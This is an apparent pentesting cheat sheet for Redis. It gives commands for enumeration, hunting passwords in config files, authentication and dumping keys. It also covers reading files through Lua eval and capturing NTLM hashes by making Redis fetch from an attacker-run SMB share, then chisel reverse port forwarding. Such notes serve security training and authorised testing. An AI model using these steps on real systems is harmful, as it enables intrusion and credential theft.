Redis Pentesting

Last modified: 2023-02-05

Database

Redis is the In-Memory Database. A default port is 6379.

Enumeration

nmap --script redis-info -p 6379 <target-ip>
nmap --script redis-brute -p 6379 <target-ip>

msf> use auxiliary/scanner/redis/redis_server

Check Config File

If we have access to target system, find the configuration file then we may be able to get passwords.

find / -name "redis.conf" 2>/dev/null
grep -i pass /path/to/redis.conf

If we get the line with password written as below,

requirepass "password"

We can set the password in a redis client.

> auth "password"

Connect

redis-cli -h <target-ip> -p 6379

# with password
redis-cli -h <target-ip> -p 6379 -a password

After connecting and execute the first arbitrary command, we may got the following output.

NOAUTH Authentication required.

If so, we need to authenticate to communicate with the redis server.

> auth <password>
# or
> auth default <password>
# or
> auth <username> <password>

Commands

# Check credentials
> auth <username> <password>
> auth default <password>

# Set a password temporary until the service restarts.
> config set requirepass <password>

# Information on the Redis server
> info
> info keyspace

# List all
> config get *

# List all databases
> config get databases

# Select the database ('select <index>')
> select 0
> select 1
> select 12

# Read files and directories using Lua scripts
> eval "dofile('C:\\\\Users\\\\Administrator\\\\Desktop\\\\user.txt')" 0
> eval "dofile('C:\\\\Users\\\\<username>\\\\Desktop\\\\user.txt')" 0

Get a Key Value

First find all keys.

> keys *

Before getting key values, we need to determine the type of key value by “type” command.

# Get the type of value
> type <key_name>

When we get the type, we can get the value of the key as below.

# type: string
> get <key_name>

# type: hash
> hget <key_name>
> hmget <key_name>
> hgetall <key_name>

# type: lists
> lrange <key_name> <start> <stop>
# e.g.
> lrange "userlist" 0 0
> lrange "userlist" 0 5

# type: sets
> smembers <key_name>

# type: sorted sets
> zrangebyscore <key_name> <min> <max>

# type: stream
> xread count <count> streams <key_name> <id>

NTLM Hash Disclosure

In local machine, start SMB server.

mkdir share
sudo impacket-smbserver share ./share/ -smb2support

Now execute the following command in Redis client.

> eval "dofile('//10.0.0.1/share')" 0

We might get a NTLM hash in the incoming connection to the SMB server. We can see the SMB server logs in terminal.
If the NTLM hash found, crack it.

Port Forwarding Redis Server to Local Machine

In local machine,

chisel server -p 9001 --reverse

In target machine,

./chisel client <local-ip>:9001 R:6379:127.0.0.1:6379

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